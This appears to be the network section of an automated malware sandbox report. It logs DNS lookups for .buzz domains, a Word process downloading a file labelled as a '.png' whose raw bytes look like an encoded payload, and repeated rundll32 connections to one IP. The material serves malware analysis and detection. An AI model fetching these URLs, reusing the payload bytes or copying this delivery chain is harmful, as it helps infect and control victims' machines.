Aug 14, 2022 08:41:10.388396025 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:10.388605118 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.394702911 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.394745111 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:10.398607969 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.398633003 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:10.398694038 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.398709059 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.029973030 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.030126095 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.030129910 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.030205011 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.032105923 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.032138109 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.143883944 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.143954039 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.144032001 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.144618034 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.144651890 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.462744951 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.462913990 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.472405910 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.472441912 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.476188898 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.476221085 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:11.476269960 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:11.476284027 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.104322910 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.104399920 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.104625940 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.105338097 CEST	49268	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.105354071 CEST	443	49268	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.205626011 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.205672979 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.205804110 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.206525087 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.206533909 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.520857096 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.521078110 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.534915924 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.534934998 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.540390968 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.540406942 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:12.540425062 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:12.540431023 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.175228119 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.175297022 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.175326109 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.175388098 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.175395012 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.175434113 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.175477028 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.175523043 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.175729036 CEST	49269	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.175741911 CEST	443	49269	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.281615019 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.281687021 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.281770945 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.282318115 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.282346010 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.596735954 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.597003937 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.602967978 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.603002071 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.606894016 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.606910944 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:13.606998920 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:13.607007980 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.246001005 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.246083975 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.246216059 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.246705055 CEST	49270	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.246723890 CEST	443	49270	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.363634109 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.363672018 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.365077019 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.365818024 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.365833044 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.679238081 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.679455996 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.694015026 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.694051027 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.698762894 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.698801994 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:14.698879004 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:14.698893070 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.332849979 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.332931042 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.333184958 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.333849907 CEST	49271	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.333868027 CEST	443	49271	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.435167074 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.435214996 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.435337067 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.435987949 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.436007023 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.747416973 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.747590065 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.753950119 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.753973007 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.760277033 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.760296106 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:15.760384083 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:15.760390043 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.393978119 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.394098997 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.394123077 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.394141912 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.394475937 CEST	49272	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.394493103 CEST	443	49272	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.504909992 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.504964113 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.505040884 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.505928993 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.505969048 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.824152946 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.824310064 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.838059902 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.838098049 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.843745947 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.843775988 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:16.843905926 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:16.843913078 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.478503942 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.478646994 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.478739977 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.479084969 CEST	49273	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.479108095 CEST	443	49273	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.588968039 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.589037895 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.589122057 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.589903116 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.589921951 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.903198004 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.903305054 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.919810057 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.919841051 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.925515890 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.925538063 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:17.925659895 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:17.925668001 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.559590101 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.559710979 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.559842110 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:18.564846039 CEST	49274	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:18.564877987 CEST	443	49274	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.665344954 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:18.665402889 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.665555954 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:18.678311110 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:18.678349972 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.992430925 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:18.996030092 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.099308968 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.099338055 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.103389978 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.103404045 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.103492022 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.103501081 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.748516083 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.748622894 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.748717070 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.748750925 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.749195099 CEST	49275	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.749226093 CEST	443	49275	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.854552984 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.854613066 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:19.854716063 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.856543064 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:19.856576920 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.171236992 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.171422005 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.208936930 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.208981991 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.218452930 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.218496084 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.218528986 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.218542099 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.852941990 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.853044033 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.853163958 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.853188038 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.854157925 CEST	49276	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.854181051 CEST	443	49276	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.958306074 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.958363056 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:20.958643913 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.972357035 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:20.972389936 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.285751104 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.287657976 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.311253071 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.311274052 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.317405939 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.317425013 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.317562103 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.317568064 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.948540926 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.948597908 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.948620081 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.948641062 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:21.948667049 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.948687077 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.949362993 CEST	49277	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:21.949385881 CEST	443	49277	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.051475048 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.051528931 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.051608086 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.055960894 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.055993080 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.371639967 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.371895075 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.383174896 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.383213997 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.399744987 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.399785995 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:22.399821997 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:22.399837017 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.028335094 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.028431892 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.028547049 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.028851032 CEST	49278	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.028875113 CEST	443	49278	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.142555952 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.142632008 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.142735004 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.143536091 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.143563986 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.461205006 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.461313009 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.461992979 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.462006092 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.464597940 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.464618921 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:23.464740992 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:23.464747906 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:24.096461058 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:24.096568108 CEST	443	49279	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:24.096684933 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:24.096836090 CEST	49279	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:24.096875906 CEST	443	49279	64.52.80.180	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 14, 2022 08:39:17.902492046 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 14, 2022 08:39:17.929238081 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 14, 2022 08:39:26.343050957 CEST	49688	53	192.168.2.22	8.8.8.8
Aug 14, 2022 08:39:26.362221956 CEST	53	49688	8.8.8.8	192.168.2.22
Aug 14, 2022 08:39:28.321213961 CEST	58836	53	192.168.2.22	8.8.8.8
Aug 14, 2022 08:39:28.345190048 CEST	53	58836	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 14, 2022 08:39:17.902492046 CEST	192.168.2.22	8.8.8.8	0xde9d	Standard query (0)	worldoptions.buzz	A (IP address)	IN (0x0001)
Aug 14, 2022 08:39:26.343050957 CEST	192.168.2.22	8.8.8.8	0xfed1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Aug 14, 2022 08:39:28.321213961 CEST	192.168.2.22	8.8.8.8	0xef1c	Standard query (0)	com.lightbuzear.buzz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 14, 2022 08:39:17.929238081 CEST	8.8.8.8	192.168.2.22	0xde9d	No error (0)	worldoptions.buzz	64.52.80.45	A (IP address)	IN (0x0001)
Aug 14, 2022 08:39:26.362221956 CEST	8.8.8.8	192.168.2.22	0xfed1	No error (0)	www.google.com	142.250.185.228	A (IP address)	IN (0x0001)
Aug 14, 2022 08:39:28.345190048 CEST	8.8.8.8	192.168.2.22	0xef1c	No error (0)	com.lightbuzear.buzz	64.52.80.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.google.com

com.lightbuzear.buzz

worldoptions.buzz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49172	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49173	142.250.185.228	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49182	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49272	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49273	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49274	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49275	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49276	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49277	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49278	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49279	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49171	64.52.80.45	80	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Aug 14, 2022 08:39:18.723445892 CEST	0	OUT	GET /agE7nqQLgssuVeUY/OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu.png HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: worldoptions.buzz Connection: Keep-Alive
Aug 14, 2022 08:39:18.878959894 CEST	2	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 08 Aug 2022 09:27:12 GMT ETag: "1375-5e5b76baf9c00" Accept-Ranges: bytes Content-Length: 4981 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 91 50 26 31 d9 d9 d9 d9 84 91 5a 34 d1 91 54 94 fa 91 1e 1b 97 ca d9 d9 59 e8 72 91 26 18 91 26 13 ac 2c 17 3e f9 76 57 12 72 72 72 3f f9 32 6a 3f ff 12 62 3f f9 76 56 8e 3b f9 0a 12 f8 35 7c 4e 40 06 7a 3f f9 72 3f 4b 92 07 9f 3b f9 02 42 9b ad 72 72 72 23 20 21 27 24 25 3a fb 8f 3a fb 81 24 f9 01 4e f9 c6 6c fa 72 72 72 3a 73 ac 24 f9 04 52 3a 73 ac 3a 43 bb 3a 8d bb f3 07 72 a1 b2 df c8 8d b3 df 3a 73 aa 24 3a 43 84 7d cc 62 4a a4 06 78 b3 bc 75 73 a4 3a 8d b2 99 9d 4b 07 72 2c 07 ad 28 3a fb ad f9 28 56 3a 73 89 14 f9 7e 39 f9 28 6e 3a 73 89 f9 76 f9 3a 73 8a 3a fb 37 72 2c 3a f1 b7 7a f1 0f 72 72 07 e3 2d 2c 2f 29 28 2b b1 3a fb 94 32 f2 96 82 22 21 23 20 3a f9 2c 7a 3a f9 24 62 3a b5 b3 6e 72 72 72 f8 71 fa 76 78 3a 8d b1 3a 8d b0 f2 49 72 07 82 b4 76 78 72 3a f9 34 62 3a f1 9e 52 3a fb b3 8d e5 fa 72 72 72 3a f1 b6 52 f1 8a 8d 3a f9 3c 6a 06 76 fb 73 99 74 b5 73 72 72 72 72 28 2b 29 2a 3a fb 86 b0 6a 72 18 72 18 72 3a fb 95 b5 75 c6 eb 01 d6 9a 7d 8d 8d 8d 3a f1 9e 52 3a b5 b3 72 72 72 72 3a b5 b0 72 72 22 72 3b b5 b2 72 42 72 72 3b b5 b3 32 72 72 72 8d 65 3a f1 b6 52 3a f1 b6 62 3a fb b5 b5 35 7a e2 0c 73 13 b5 35 62 93 c6 4e c4 b5 35 3a 45 99 4b 0d b5 35 32 4c 1d 20 7c b5 35 22 4d 2f 80 6c b5 35 42 f1 67 44 03 b5 35 6a 32 80 3b 5c b5 35 52 98 50 a2 4b b5 35 5a 65 3f c0 bc b5 35 4a f6 d4 d2 37 b5 35 2a f0 9d 7d c9 b5 35 12 01 d7 48 03 b5 35 1a 2e 40 c7 a9 b5 35 02 3a 35 54 2d b5 35 0a f3 4c 78 12 b5 f5 f2 72 72 72 0f ab b4 41 b5 f5 fa 72 72 72 18 c5 7a cb b5 f5 e2 72 72 72 ba c6 09 62 b5 f5 ea 72 72 72 ac c1 c4 35 b5 75 c6 eb 01 d6 b5 f5 d2 72 72 72 ee 08 82 01 b5 f5 da 72 72 72 10 bd 34 cf b5 f5 c2 72 72 72 d8 8b 39 50 b5 f5 ca 72 72 72 18 3d 7a cb b5 f5 b2 72 72 72 24 6d 70 73 b5 f5 ba 72 72 72 aa 0c a4 d2 b5 f5 a2 72 72 72 53 83 93 fd 9a 72 8c 8d 8d 3a f1 9e 52 3a b5 b3 72 72 72 72 3a b5 b0 72 72 73 72 3b b5 b2 72 62 72 72 3b b5 b3 76 72 72 72 8d 65 3a f1 b6 52 3a 77 72 8c 72 72 3a fb f5 42 73 72 72 3a ff f7 65 60 72 72 3a ff fd 36 73 72 72 3a fb 